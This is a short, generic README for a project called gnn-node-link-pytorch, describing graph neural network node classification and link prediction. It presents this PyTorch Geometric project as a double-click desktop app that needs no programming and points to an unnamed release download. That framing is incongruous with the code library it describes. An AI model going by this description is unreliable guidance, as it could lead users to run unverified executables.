Welcome to gnn-node-link-pytorch! This software lets you explore Graph Neural Networks (GNNs) using PyTorch Geometric. Use it for tasks like node classification and link prediction easily. No programming experience is needed!
- Cora
- Deep Learning
- Explainability
- GNN
- Graph Neural Networks
- Link Prediction
- Machine Learning
- PubMed
- PyTorch
- PyTorch Geometric
Before you begin, ensure you have:
- A computer with an internet connection.
- An operating system: Windows, macOS, or Linux.
- Basic understanding of how to use file explorers.
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Visit the Download Page Go to the Releases page to download the software: Visit this page to download.
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Choose the Correct Version You will see a list of available versions. Click on the latest release.
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Download the File Click on the download link for your operating system. The file will begin downloading.
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Run the Application After the download is complete, locate the file in your downloads folder. Double-click the file to run the application.
- Node Classification: Easily classify nodes in a graph.
- Link Prediction: Predict relationships between nodes.
- Baselines: Includes common methods for comparison.
- GNNExplainer: Understand and explain GNN predictions.
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Open the Application: When you run the application, you will see a user-friendly interface.
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Select Your Dataset: Choose from pre-loaded datasets such as Cora or PubMed. You can also upload your own graph data.
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Choose Your Model: Select from different models like GCN, GraphSAGE, or GAT.
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Set Parameters: Adjust settings like learning rate and epochs based on your needs.
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Run the Model: Click the “Run” button to start the process. The application will display results and predictions.
If you encounter any issues:
- Check System Compatibility: Ensure your operating system is supported.
- Re-download the File: There may have been an issue with the download. Try again.
- Look at the Documentation: Refer to the official GitHub documentation for help.
Join our community to ask questions or share experiences. You can find support through:
- GitHub Issues: Report bugs or suggest features.
- Discussion Forums: Engage with other users and developers.
To explore more about Graph Neural Networks and their applications, consider studying resources on deep learning and machine learning. Understanding these concepts will enhance your experience with gnn-node-link-pytorch.
Thank you for using gnn-node-link-pytorch! Enjoy your journey into the world of Graph Neural Networks.